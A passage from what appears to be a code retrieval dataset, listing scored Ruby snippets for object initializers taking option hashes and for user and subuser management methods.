"score": "0.6930303",
"text": "def initialize **options\n @properties = []\n @options = DEFAULT_OPTIONS.merge(options)\n end",
"title": ""
},
{
"docid": "8f950609942da168d85c6a2a437d373e",
"score": "0.69176",
"text": "def initialize(options={})\n Echowrap::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || Echowrap.instance_variable_get(:\"@#{key}\"))\n end\n end",
"title": ""
},
{
"docid": "d273c8ba785a2bc47394c452b5338cbb",
"score": "0.69097704",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "d273c8ba785a2bc47394c452b5338cbb",
"score": "0.69097704",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "88892b789f6854c07db02177156f230d",
"score": "0.69001204",
"text": "def initialize(opts = {})\n PROPERTIES.each do |prop|\n instance_variable_set(\"@#{prop}\", opts[prop])\n end\n end",
"title": ""
},
{
"docid": "34dc7cfe00e5fbcfa398ddd2799bc19b",
"score": "0.6871798",
"text": "def initialize(keys = {}, options = {})\n super()\n prepare_all_attributes(keys, options)\n run_callbacks(:initialize) { self }\n end",
"title": ""
},
{
"docid": "7c6b2a148fdcfc84d480f28faeea66f9",
"score": "0.6869632",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "0336c2969f78704729b1e3d3309d1bc4",
"score": "0.68591607",
"text": "def initialize(values = {})\n # Create a new empty table for the properties, and then merge in the defaults\n # TODO: Make defaults a class variable\n @properties = {}.merge self.class.defaults\n # Check to make sure all of the given properties are within the acceptable list\n # TODO: Rename this method, it's terribly named\n # TODO: Move it above everything else, and in an if block to save CPU time\n check_properties_of values\n # Go over each property-value pair and send the value to the correct\n # property method\n values.each { |property, value| send property.to_sym, value }\n # Return the object for chaining purposes\n # TODO: Is this even needed?\n self\n end",
"title": ""
},
{
"docid": "9d87a7bef8d71c1d9a329dd245997e42",
"score": "0.6859028",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"title": ""
},
{
"docid": "66a81855cb9ebd92797f7dac42b99f1b",
"score": "0.68556935",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "66a81855cb9ebd92797f7dac42b99f1b",
"score": "0.6854628",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "66a81855cb9ebd92797f7dac42b99f1b",
"score": "0.6854628",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "66a81855cb9ebd92797f7dac42b99f1b",
"score": "0.6854628",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "66a81855cb9ebd92797f7dac42b99f1b",
"score": "0.6854628",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "66a81855cb9ebd92797f7dac42b99f1b",
"score": "0.6854628",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "4bfa2b47e75768c92db6e9ecda9395e7",
"score": "0.68462616",
"text": "def initialize\n OPTIONS.each_pair do |key, value|\n self.send(\"#{key}=\", value)\n end\n end",
"title": ""
},
{
"docid": "94bea4aec20680f24b3c8cde5d324742",
"score": "0.68378735",
"text": "def initialize(options = {})\n options.each do |k,v|\n begin\n send(\"#{k}=\", v)\n rescue NoMethodError\n raise NoAttributeError.new(self, k)\n end\n end\n end",
"title": ""
},
{
"docid": "5ed17b470c12153d7aeb7131acc30122",
"score": "0.6836111",
"text": "def initialize(options={})\n Faceberry::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || Faceberry.instance_variable_get(:\"@#{key}\"))\n\t\t\tend\n end",
"title": ""
},
{
"docid": "6ec7a7158c1330adf6c71a057eaf84bc",
"score": "0.68328345",
"text": "def initialize(name, options=nil, &behavior)\n super name\n options.each { |key, value| putValue key, value } if options\n self.behavior = behavior\n end",
"title": ""
},
{
"docid": "d6cf9b6af89204510993694842537a88",
"score": "0.68269783",
"text": "def initialize(options={})\n Attune::Configurable::KEYS.each do |key|\n send(\"#{key}=\", options[key] || Attune::Default.send(key))\n end\n end",
"title": ""
},
{
"docid": "6d2c7b96d82a0388c2e104659aab09d5",
"score": "0.6819312",
"text": "def initialize(kwargs)\n kwargs.each do |k, v|\n send \"#{k}=\".to_sym, v\n end\n end",
"title": ""
},
{
"docid": "6d2c7b96d82a0388c2e104659aab09d5",
"score": "0.6819312",
"text": "def initialize(kwargs)\n kwargs.each do |k, v|\n send \"#{k}=\".to_sym, v\n end\n end",
"title": ""
},
{
"docid": "9bda99ec75ea1d6a55a1798015250d07",
"score": "0.681807",
"text": "def initialize(options)\n old_initialize options\n end",
"title": ""
},
{
"docid": "9062c6cf6c9f4ef177942d1c369f3a75",
"score": "0.6815004",
"text": "def initialize(options = {})\n @hash = options.dup\n end",
"title": ""
},
{
"docid": "d19387d7d150acee31c86ad0e081bb94",
"score": "0.6813302",
"text": "def initialize(args={})\n args.each { |k, v| send(\"#{k}=\", v) }\n end",
"title": ""
},
{
"docid": "565729caf2675c95b9ad3e97527e9fed",
"score": "0.68087435",
"text": "def initialize options={}\n ATTRIBUTES.each do |attribute|\n instance_variable_set \"@#{attribute}\", options[attribute] || options[attribute.to_sym]\n end\n end",
"title": ""
},
{
"docid": "48ae9a6e9527addd22c50f63067f21a7",
"score": "0.6795363",
"text": "def initialize(options={})\n parse_options options\n end",
"title": ""
},
{
"docid": "c012e29793b61192e3baef02a526d15c",
"score": "0.67952865",
"text": "def initialize(options={})\n raise 'Please specify a hash of options' unless options.is_a?(Hash)\n @options = options\n end",
"title": ""
},
{
"docid": "895ba1369e37a61f8cdd1af3742833fa",
"score": "0.6784412",
"text": "def initialize(options={})\n self.debug = nil\n self.logger = nil\n options.each { |k,v| self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\") }\n end",
"title": ""
},
{
"docid": "a9c436cafaae014feeae4b79925ffc6c",
"score": "0.67837626",
"text": "def initialize(options = {})\n options.each_pair do |key, value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end\n instance_variables.each {|v| v ||= 0}\n end",
"title": ""
},
{
"docid": "a2b8e4ab787d1e624f27ccc377446d17",
"score": "0.6777585",
"text": "def initialize(options = {})\n options = Myxy.options.merge(options)\n Config::VALID_OPTIONS_KEYS.each do |key|\n send(\"#{key}=\", options[key])\n end\n end",
"title": ""
},
{
"docid": "5f42b7723c47759489b8736f2e9085af",
"score": "0.6775398",
"text": "def initialize(args = {})\n args.each_pair do |k, v|\n send \"#{k}=\", v\n end\n end",
"title": ""
}
] |
4b3389b6e2fcf3ff4c63d828b546af3d
|
this accepts subuser array
|
[
{
"docid": "df319cf66cf49f8395c11c26481abfbc",
"score": "0.5707018",
"text": "def create_sub_user_account(apikey, users)\n users.each do |user, data|\n #load users\n run_sendgrid_query(apikey) do\n @client.sub_user.management.add(data[:account].merge!(:username => user))\n end\n \n #active user for send email\n run_sendgrid_query(apikey){@client.sub_user.management.enable(:user => user)}\n \n #assign ip\n unless data[:assigned_ips].empty?\n run_sendgrid_query(apikey){@client.sub_user.ip_management.assign_ip :user => user, :ip => data[:assigned_ips]}\n end\n #load apps\n unless data[:applications].empty?\n data[:applications].each do |app_name, options|\n run_sendgrid_query(apikey){@client.sub_user.apps.activate(:user => user, :name => app_name)}\n unless options.empty?\n run_sendgrid_query(apikey){@client.sub_user.apps.customize(options.merge!(:user => user, :name => app_name))}\n end\n end\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "41ba3b7ee837281abd2150f7822bae6c",
"score": "0.62653524",
"text": "def subuser # name and position\n if (session[:current_proj] == \"-1\")\n render json: \"\"\n return\n end\n @project = Project.find(session[:current_proj])\n @subtask = Subtask.find(params[:subid]) \n @users = @subtask.users\n tmp = {} \n tmp[:u] = @users\n tmp[:s] = @subtask \n render json: tmp \n end",
"title": ""
},
{
"docid": "ffce87ad5a4e5e15c2cf1d7281a56d05",
"score": "0.6066505",
"text": "def user_ids=(value)\n super value.join.split(',')\n end",
"title": ""
},
{
"docid": "aa137c803766eeeb4bb17e4b8801cd56",
"score": "0.5865646",
"text": "def map_user(user_array)\n Systemd::Helpers.map_array(user_array, USER_INDICES)\n end",
"title": ""
},
{
"docid": "6f4f8702e7d49c8f63794a4c5c8570e4",
"score": "0.5829711",
"text": "def new\n @subadmin = Subadmin.new\n\n @users = []\n @usr = User.all\n @usr.each do |usr|\n if usr.usertype == \"student\"\n @users << usr\n end\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subadmin }\n end\n end",
"title": ""
},
{
"docid": "1a05edcb3aef1ccf5069dd88bfdabfd3",
"score": "0.58164775",
"text": "def super_array\n @super_arry = Array.new([[\"(no supervisor)\", nil]])\n sorted_arry = User.all.sort_by { |u| u.fname }.sort_by { |u| u.lname}\n sorted_arry.delete(@user)\n @super_arry += sorted_arry.map { |u| [u.fname+\" \"+u.lname, u.id]}\n @super_arry\n end",
"title": ""
},
{
"docid": "728daaff752001e3dd6266b69d1b5b02",
"score": "0.57857466",
"text": "def user_array\n @user_array ||= begin\n user_array = node\n node[\"user\"][\"user_array_node_attr\"].split(\"/\").each do |hash_key|\n user_array = user_array.send(:[], hash_key)\n end\n user_array\n end\n end",
"title": ""
},
{
"docid": "0d2983823293de3671be8d51eaa821b6",
"score": "0.56934625",
"text": "def make_super_admin\r\n user_ids_string = params[:ids]\r\n user_ids = eval(user_ids_string)\r\n\r\n user_ids.each do |id|\r\n user = User.find(id.to_i)\r\n \r\n if !user.nil? && user != current_user\r\n user.update_attribute(\"user_level\", \"super_admin_access\")\r\n end\r\n \r\n end\r\n\r\n head :no_content\r\n end",
"title": ""
},
{
"docid": "f87b607e0597e1c9c0d60087a99c6164",
"score": "0.5600064",
"text": "def rbac_group_make_subarrays\n # moved into common method used by ops_settings module as well\n rbac_and_user_make_subarrays\n end",
"title": ""
},
{
"docid": "8a71d426a813aeacf6393823782bc4d0",
"score": "0.55508673",
"text": "def users(*name) end",
"title": ""
},
{
"docid": "16ef6bfe503a4d172ced98f8c6634e12",
"score": "0.5542",
"text": "def conclusion_level_argument\n db[User].find_all(user_ids)\n end",
"title": ""
},
{
"docid": "a90f43b914ec5f997bb4caa8227f5468",
"score": "0.5541925",
"text": "def all_users\n self.direct_users | subgroups.map(&:direct_users).flatten\n end",
"title": ""
},
{
"docid": "7e6c7878a118f38fa3c3ad3bca00b2e6",
"score": "0.5534392",
"text": "def index\n @users = User.where(role: @user_sub_role)\n end",
"title": ""
},
{
"docid": "e91b91dc4e9d2a67e2da41ed6aa1a20d",
"score": "0.5530915",
"text": "def index\n @subordinates = User.where(:id => UserRoleMap.select(\"user_id\").where(:role_id => Role.select(\"id\").where(:role => MadConstants.volunteer)))\n end",
"title": ""
},
{
"docid": "8ef6e14e60fb75accecbfcaba9bf414c",
"score": "0.5491936",
"text": "def select_by_user(valid_user)\n users << valid_user\n end",
"title": ""
},
{
"docid": "491432b4b0000032c516921869a02746",
"score": "0.5488609",
"text": "def allow_users_include?(username)\n allow_users.is_a?(Array) ? allow_users.include?(username) : allow_users?\n end",
"title": ""
},
{
"docid": "66a2ff1a847341f15f4080095e267c6b",
"score": "0.5483011",
"text": "def grants_sub_list\n users = GrantsData.has_grants.concat User.marked_complete_grants\n users = users.uniq\n subs = Array.new()\n users.each do |u|\n if User.is_charity(u)\n subs.push(u)\n end\n end\n session[:grants_sub] = subs.count()\n subs\nend",
"title": ""
},
{
"docid": "e45ec45aba0589b9b25b867201e73ae7",
"score": "0.54811496",
"text": "def list_users(subtask)\n usertasks = UserTask.where(subtask_id: subtask.id)\n if usertasks\n usernames = usertasks.collect do |usertask|\n User.find_by(id: usertask.user_id).username\n end\n else\n [\"No Users Assigned\"]\n end\n \n end",
"title": ""
},
{
"docid": "87d127cc7b7aac17a6d84be3166eb9ef",
"score": "0.5466926",
"text": "def user_array_set\n new_user = ['email', 'password', 'password_verify', 'first_name', 'last_name']\n user = ['email', 'encrypted_password', 'first_name', 'last_name', 'full_name',\n 'access', 'verified']\n\n return { new_user: new_user, user: user }\n end",
"title": ""
},
{
"docid": "43c876e372ed02cf4295a392fd8ef8b3",
"score": "0.54663026",
"text": "def pushAdmins users\n case users\n when User\n self.admin_ids << users.id\n when BSON::ObjectId\n self.admin_ids << User.find(users).id\n when String\n self.admin_ids << User.find(users).id if BSON::ObjectId.legal? users\n when Array\n users.each do |user|\n self.pushAdmins user\n end\n end\n end",
"title": ""
},
{
"docid": "c423d0ddffce310943cc93f341e5d0b7",
"score": "0.5444111",
"text": "def user_ids\n\t\treturn @user_ids\n\tend",
"title": ""
},
{
"docid": "90404cd8e3243a4c833d0c33e4b46d18",
"score": "0.54338163",
"text": "def user_ids=(value)\n @user_ids = value\n end",
"title": ""
},
{
"docid": "e5b6af81181ed87afa50f052062cf14e",
"score": "0.53919053",
"text": "def config_users_for_ucone(ent,group)\n #Initialize Class to Collect Users to Configure for UCOne\n ucone = GetUsersToConfigure.new(ent,group)\n\n user_filter_list = ['park','cfwd']\n case_insensitive = true\n master_user_list = ucone.get_available_users_by_userId_pattern(user_filter_list,case_insensitive) \n puts master_user_list\n\n user_list = master_user_list\n user_confirm = nil\n final_user_list = ucone.filter_list_with_user_input(user_list,user_confirm)\n\n puts \"Congrats you configured:\\n#{final_user_list} \"\nend",
"title": ""
},
{
"docid": "6d44fdc2f2e11e7cd99cfb7b1148680d",
"score": "0.53862816",
"text": "def verify_users(test_data)\n test_users = test_data[CoreUseOfCollectionsData::USER_GRP.name]\n test_users = [{CoreUseOfCollectionsData::USER.name => '', CoreUseOfCollectionsData::USER_TYPE.name => ''}] unless test_users\n test_users.each_with_index do |user, index|\n verify_values_match(user[CoreUseOfCollectionsData::USER.name], element_value(user_name_input index))\n verify_values_match(user[CoreUseOfCollectionsData::USER_TYPE.name], element_value(user_type_input index))\n end\n end",
"title": ""
},
{
"docid": "6dedc3f1184b2ab248f81c91ee7f2cb8",
"score": "0.53722954",
"text": "def user_tokens= ids\n self.user_ids = ids.split(',')\n end",
"title": ""
},
{
"docid": "9cc52c652801d1feb2db45cf98287a06",
"score": "0.53716004",
"text": "def user_ids\n @user_ids\n end",
"title": ""
},
{
"docid": "442702e00c99883b5d80b9a4aa3cae7d",
"score": "0.53556865",
"text": "def index_user(user); end",
"title": ""
},
{
"docid": "82a8d5088bc1eaf641f7d092d4edc5f9",
"score": "0.53481543",
"text": "def sub_params\n params.require(:sub).permit(:title, :description, :user_id)\n end",
"title": ""
},
{
"docid": "dde9ff8d469e902e3dd9fd3b136382b9",
"score": "0.5345988",
"text": "def edit_users\n (self[:edit_users] + contributor_uids).uniq\n end",
"title": ""
},
{
"docid": "3aec0aa5ee979d0cfde77bc4472f410c",
"score": "0.5333858",
"text": "def user_unidad_params\n params.require(:user_unidad).permit(:unidad_id, :user_ids => [])\n end",
"title": ""
},
{
"docid": "e7d68efbc8e77ddf8306ae15e7d8dc25",
"score": "0.5332802",
"text": "def subauthorities\n []\n end",
"title": ""
},
{
"docid": "2a23c4ec1740e09a16d2892e8f5c26f2",
"score": "0.5322189",
"text": "def permitted_users\n [self.users + self.root.users].flatten.uniq\n end",
"title": ""
},
{
"docid": "a82687e63172c1a540cfba2ff92e1c07",
"score": "0.5315893",
"text": "def get_users_by_profile(users_arr, return_arr, index, profile)\n users_arr.where(profile: profile).each do |user|\n elem = []\n elem.push(user.full_name)\n elem.push(user.id)\n return_arr[index][1].push(elem)\n end\n return_arr\n end",
"title": ""
},
{
"docid": "b5e5a020ea15668c0794e8ff83d8d429",
"score": "0.530624",
"text": "def initialize(array)\n array.each do |element|\n user = element.is_a?(String) ? User.new(element) : element\n self << user\n end\n end",
"title": ""
},
{
"docid": "4c23faaf662d3841d5a96246439e4bc6",
"score": "0.5295064",
"text": "def user_in top, user, users\n\t\ti = 0\n\t\twhile i < top\n\t\t\tif users[i].user.equals(user)\n\t\t\t\treturn true\n\t\t\tend\n\t\t\ti += 1\n\t\tend \n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "a8fad65165673d586a8d2b3732ba6902",
"score": "0.5292583",
"text": "def get_users_a\n\n return [] if self.users.nil? or self.users.empty?\n\n array = self.users.split('|')\n array.compact!\n array.delete('')\n\n return array\n end",
"title": ""
},
{
"docid": "a8fad65165673d586a8d2b3732ba6902",
"score": "0.5292583",
"text": "def get_users_a\n\n return [] if self.users.nil? or self.users.empty?\n\n array = self.users.split('|')\n array.compact!\n array.delete('')\n\n return array\n end",
"title": ""
},
{
"docid": "ec43c60c45e821c84d31d50787c40cd2",
"score": "0.5287401",
"text": "def add_user_2group(username,group)\n defaults = {\"group\" => group, \"members\" => \"[\"+username+\"]\"}\n result = @gesm.add_term_to_record_array(group, \"members\", username, defaults)\n end",
"title": ""
},
{
"docid": "c6d5e4fec6700923bc23efef347e48d9",
"score": "0.52864695",
"text": "def users_with_subsidiaries\n result = @users\n \n @children.each do | child |\n result += child.users_with_subsidiaries\n end\n \n result\n end",
"title": ""
},
{
"docid": "5bb773ce217d03d0e992a9ae168db52f",
"score": "0.528491",
"text": "def allow_users?\n allow_users.is_a?(Array) ? !allow_users.empty? : allow_users\n end",
"title": ""
},
{
"docid": "40f5ca23f12dd281553e45b64d02fabc",
"score": "0.5283811",
"text": "def set_users_for_multiple_select(action)\n users_arr = []\n values_for_select = [[\"Administrador\", []], [\"Gestor\", []], [\"Operacional\", []]]\n\n if action == \"new\" || action == \"edit\"\n users_arr = User.all\n elsif action == \"show\"\n members_ids = TeamMember.where(team_id: @team.id).select(:user_id)\n users_arr = User.where.not(id: members_ids).order(first_name: :asc, last_name: :asc)\n end\n\n values_for_select = get_users_by_profile(users_arr, values_for_select, 0, Role::ADMINISTRADOR)\n values_for_select = get_users_by_profile(users_arr, values_for_select, 1, Role::GESTOR)\n values_for_select = get_users_by_profile(users_arr, values_for_select, 2, Role::OPERACIONAL)\n\n @users_for_select = values_for_select\n end",
"title": ""
},
{
"docid": "128097e192473b141642f072e387faf5",
"score": "0.5278392",
"text": "def can_take_sub?(sub_request)\n return false unless sub_request\n can_signup?(sub_request.loc_group) && (sub_request.user != self) && (sub_request.users_with_permission.include?(self) || sub_request.users_with_permission.blank?)\n end",
"title": ""
},
{
"docid": "2d112736dfc683c6bfb86a255c19f6e0",
"score": "0.52679247",
"text": "def users_by_params\n all_users.where(id: user_ids).to_a\n end",
"title": ""
},
{
"docid": "3d63cbd7c64f515c95fe96e1c2732741",
"score": "0.5263732",
"text": "def users(recipe)\n\n end",
"title": ""
},
{
"docid": "4d6d53bbaf69ab78a0e86e2add9a73d8",
"score": "0.5262975",
"text": "def read_users(unit_ids)\n can :read, User\n end",
"title": ""
},
{
"docid": "72866f4ae02c68ad8d73609cf446a0dc",
"score": "0.526157",
"text": "def subletter_params\n params.require(:subletter).permit(:user_id)\n end",
"title": ""
},
{
"docid": "f291ed074ce55f7b87ab35b7f8cf1eed",
"score": "0.52596307",
"text": "def usernames; @data['usernames']; end",
"title": ""
},
{
"docid": "0d5da2ceb5364f7ee1eea52ad94ef105",
"score": "0.5256019",
"text": "def allowed_users(arg = nil)\n set_or_return(\n :allowed_users,\n arg,\n kind_of: Array\n )\n end",
"title": ""
},
{
"docid": "7daf32f9c93f1d7a10c2531907a6a2d0",
"score": "0.5255742",
"text": "def make_department_admin\r\n user_ids_string = params[:ids]\r\n user_ids = eval(user_ids_string)\r\n\r\n user_ids.each do |id|\r\n user = User.find(id.to_i)\r\n \r\n if !user.nil? && user != current_user\r\n user.update_attribute(\"user_level\", \"department_admin_access\")\r\n end\r\n \r\n end\r\n\r\n head :no_content\r\n end",
"title": ""
},
{
"docid": "e8fe6288914f61c816180bbb5d5ad5db",
"score": "0.52552915",
"text": "def subadmin_groups\n response = @api.request(:get, \"users/#{@userid}/subadmins\")\n parse_with_meta(response, \"//data/element\")\n end",
"title": ""
},
{
"docid": "6b60b6f2b531fedee6926e64a626c20a",
"score": "0.52534336",
"text": "def watcher_user_ids_with_uniq_ids=(user_ids)\n if user_ids.is_a?(Array)\n user_ids = user_ids.uniq\n end\n send :watcher_user_ids_without_uniq_ids=, user_ids\n end",
"title": ""
},
{
"docid": "3a673e858796a5aea69655c01ce2fa86",
"score": "0.5245666",
"text": "def lookUpNewUsers(userids, savedids,method)\n \n listusers = Array.new\n\n userids.each{ |item|\n listusers.push(item) unless self.verifyUserId(item, savedids)\n }\n\n self.lookUpUsers(listusers,method)\n end",
"title": ""
},
{
"docid": "5cdd3b0d1f20e233f05b9df259464aa6",
"score": "0.5227117",
"text": "def normalized_user; end",
"title": ""
},
{
"docid": "5cdd3b0d1f20e233f05b9df259464aa6",
"score": "0.5227117",
"text": "def normalized_user; end",
"title": ""
},
{
"docid": "eb8539edd4f150333cf7163a8cc4ebb6",
"score": "0.5225478",
"text": "def user_receiver_params\n\tparams.permit(:users => [])\n end",
"title": ""
},
{
"docid": "12f0969cf023aca78b8155b314cf7426",
"score": "0.522412",
"text": "def addUsers *users\n usersInfos = {}\n users.each do |u|\n userInfo = if u[3].class == String && u[4]\n addUser u[0], u[1], u[2], u[3], u[4]\n elsif u[3].class == Array\n addUser u[0], u[1], u[2], \"\", u[3]\n else\n addUser u[0], u[1], u[2], u[3]\n end\n usersInfos[userInfo.name] = userInfo\n end\n usersInfos\n end",
"title": ""
},
{
"docid": "4ee1408753fef7178131683539054de8",
"score": "0.52229184",
"text": "def set_subtask_user\n @subtask_user = SubtaskUser.find(params[:id])\n end",
"title": ""
},
{
"docid": "92d5665355d7d1a36f098aaf5f15bbb5",
"score": "0.5211432",
"text": "def make_student_user\r\n user_ids_string = params[:ids]\r\n user_ids = eval(user_ids_string)\r\n\r\n user_ids.each do |id|\r\n user = User.find(id.to_i)\r\n \r\n if !user.nil? && user != current_user\r\n user.update_attribute(\"user_level\", \"user_access\")\r\n end\r\n \r\n end\r\n\r\n head :no_content\r\n end",
"title": ""
},
{
"docid": "6f0934b907654274b0f6698cdafc0b3d",
"score": "0.5207708",
"text": "def user_params\n params.require(:classroom).permit(:name, :user_ids => [])\n end",
"title": ""
},
{
"docid": "388e4bd4d2d9bf6c090cd453331c5616",
"score": "0.5197979",
"text": "def user_add(users)\n users = [*users]\n student_group_all = self.user.student_groups.find_by_name(\"All\")\n student_group_users = []\n\n users.each do |user|\n if student_group_all.users.include?(user)\n student_group_users.push(self.student_group_users.create(user: user))\n else\n errors.add(:user, \"#{user.name} not found\")\n end\n end\n\n return student_group_users\n end",
"title": ""
},
{
"docid": "d6010605f86ba531d3d8fc5382e24957",
"score": "0.5193075",
"text": "def user_ids\n @attributes[:user_ids]\n end",
"title": ""
},
{
"docid": "d6010605f86ba531d3d8fc5382e24957",
"score": "0.5193075",
"text": "def user_ids\n @attributes[:user_ids]\n end",
"title": ""
},
{
"docid": "d6010605f86ba531d3d8fc5382e24957",
"score": "0.5193075",
"text": "def user_ids\n @attributes[:user_ids]\n end",
"title": ""
},
{
"docid": "c5945284eca6e310f27920cf043956ae",
"score": "0.5177591",
"text": "def userids\n each_userid.to_a\n end",
"title": ""
},
{
"docid": "311368395ac31a0e7b89d26f296ea111",
"score": "0.5175745",
"text": "def updateTealiumUser(users_coll, permission_coll, email, account, profile)\n puts \"User: #{email} is a tealium need to see if he is a Super User\\n\"\n\n if $tealim_super_user.include?(email)\n puts \"User: #{email} is a super user whose user permissions have been updating\\n\"\n puts \"Just updating their permission cache object for Account: #{account}, Profile: #{profile}\\n\"\n updatePermissionCache(permission_coll, email, account, profile)\n return\n end\n\n puts \"Needs to find out if Tealium User: #{email} is a super user \\n\"\n result = users_coll.find( :email => email, :permissions => { \"$all\" => $star_permissions } )\n\n if result.count == 1\n puts \"Tealium User: #{email} is a super user in our system adding */* permissions \\n\"\n updateUsersPermissions(users_coll, email, \"*\", \"*\")\n updatePermissionCache(permission_coll, email, account, profile)\n $tealim_super_user.push(email)\n return\n end\n updateUsersPermissions(users_coll, email, account, profile)\n updatePermissionCache(permission_coll, email, account, profile)\nend",
"title": ""
},
{
"docid": "de189bafdb04326d5a75b47c07638409",
"score": "0.5174128",
"text": "def unassignSubproducts_from_secretary\n sp_list, module_list = [], []\n subproducts = params[:subproducts].split(\",\")\n subproducts.each do |sub|\n SubproductAssignment.delete_all([\"employee_user_id = ? and subproduct_id = ?\",params[:user_id],sub])\n module_list << Subproduct.find(sub).name\n end\n SubproductAssignment.find_with_deleted(:all, :select=>[\"distinct user_id\"],:conditions=>[\"employee_user_id = ?\", params[:user_id]]).each do |sp|\n user = User.find_by_id(sp.user_id)\n sp_list << user.full_name if user\n end\n lawyer_name = User.find(params[:user_id]).full_name\n modules_assignment_unassignment_mail(params[:user_id],\"unassignment\",sp_list, module_list, lawyer_name)\n usersecretary\n end",
"title": ""
},
{
"docid": "5db68b0756195a120bab8999f0a42b7e",
"score": "0.51719224",
"text": "def add_users\n # Remove any \"zero\" value (includes non-integer values)\n user_ids = @unit_params[:user_ids].collect {|id| id.to_i }.delete_if {|id| id == 0 }\n \n # Add user IDs\n @unit.user_ids = user_ids\n \n # Remove user IDs from @unit_params\n @unit_params.delete(:user_ids)\n end",
"title": ""
},
{
"docid": "1e752821529f56f38d5a29474dc3745b",
"score": "0.51695603",
"text": "def contains_user?(args)\n user_id = args[:id]\n @users.key? user_id\n end",
"title": ""
},
{
"docid": "6b856c3abbce2ba360bbe68cac3d3adc",
"score": "0.5169006",
"text": "def index\n @subtask_users = SubtaskUser.all\n end",
"title": ""
},
{
"docid": "0bdc8569b76e10d91d6637ee1e499c7d",
"score": "0.5156317",
"text": "def tas_params(environment_id = nil)\n [{:title => \"User\",\n :model_name => \"user_group\",\n :attribute_name => \"user_ids\",\n :select_title => \"Select a new member\",\n :options => User.all.collect {|u| [u.username, u.id] },\n :selected_options => user_ids}]\n end",
"title": ""
},
{
"docid": "eb0d062de3b96ebf3405efa54f42a66c",
"score": "0.5156155",
"text": "def create\n @club = Club.new(club_params)\n @club.approved = false\n @club.owner_id = current_user.id\n @club.users << current_user #owner should be member in the club\n \n ((params[:club][:administrators]).scan(/.+/)).each.with_index do |match, index|\n \n adminUser = User.find_by(email: match.to_s)\n \n if (adminUser)\n #check if user alreay exist as admin\n admin = Administrator.find_by(adminId: adminUser.id)\n if (!admin)\n admin = Administrator.new\n admin.adminId = adminUser.id\n admin.save\n end\n @club.administrators << admin\n if !(@club.users.include? adminUser)\n @club.users << adminUser #admins should be members in the club\n end\n else\n respond_to do |format|\n format.html { render :new }\n format.json { render json: @club.errors, status: :unprocessable_entity }\n end\n return\n end\n end\n \n respond_to do |format|\n if @club.save\n format.html { redirect_to @club, notice: 'Club was successfully created. you will be notifed once approved' }\n format.json { render :show, status: :created, location: @club }\n else\n format.html { render :new }\n format.json { render json: @club.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "870c67ff61cc09649962d70e491a2b92",
"score": "0.5153078",
"text": "def search_users array, user\n var = false\n array.each {|x|\n if user == x.name\n var = true\n end\n }\n return var\n\n end",
"title": ""
},
{
"docid": "707093be2b6044f46519cd2fc6e8b41b",
"score": "0.5145581",
"text": "def validate_permission?(users)\n u = users.to_a.collect {|x| x.id}\n u.include?(session[:user_id])\n end",
"title": ""
},
{
"docid": "8b859f9dba9caa1fa3aba2040d209c20",
"score": "0.51436573",
"text": "def users\n [actor]\n end",
"title": ""
},
{
"docid": "d3beaea9ccca24471b20b27e2994b58f",
"score": "0.51407737",
"text": "def user_ids_can_control\n # This gives the list of company id's where permissions is 1\n company_ids = self.company_users.where(permissions: 1).map(&:company_id)\n\n # Find me all the user ids that belong to the companies\n user_ids = CompanyUser.where(company_id: company_ids).map(&:user_id)\n\n # Just to insure the user is seeing all their own videos\n return user_ids.append(self.id)\n end",
"title": ""
},
{
"docid": "b3533dec8a7aaa3ce1b157201e18b8d3",
"score": "0.5137797",
"text": "def user_tokens=(ids)\n\t self.user_ids = ids.split(\",\")\n\tend",
"title": ""
},
{
"docid": "46b5a62597b5f16d63c8e2af4c688619",
"score": "0.5137306",
"text": "def get_read_users_a\n\n return [] if self.read_users.nil? or self.read_users.empty?\n\n arr = self.read_users.split('|')\n arr.compact!\n arr.delete('')\n\n return arr\n end",
"title": ""
},
{
"docid": "2e5835fd68d133698cfb96584dc228aa",
"score": "0.5122869",
"text": "def students\n tuition_users.map(&:user)\n end",
"title": ""
},
{
"docid": "4f63c095708266ac4f3a8500581a8cc4",
"score": "0.51148975",
"text": "def all_users\n \n end",
"title": ""
},
{
"docid": "48c73656858aa99a796dc8191588abdb",
"score": "0.51115495",
"text": "def user_path\n @subuser ? \"#{@account}/#{@subuser}\" : @account\n end",
"title": ""
},
{
"docid": "e525c567fc73a23879857c640fe65dd9",
"score": "0.5109788",
"text": "def users=(users)\n if users.length > 0\n us = User.where(:id => users)\n else\n us = []\n end\n super(us)\n end",
"title": ""
},
{
"docid": "56b98a8789b45eea256cf529edfad2f2",
"score": "0.5109175",
"text": "def find_user_data\n\n\tend",
"title": ""
},
{
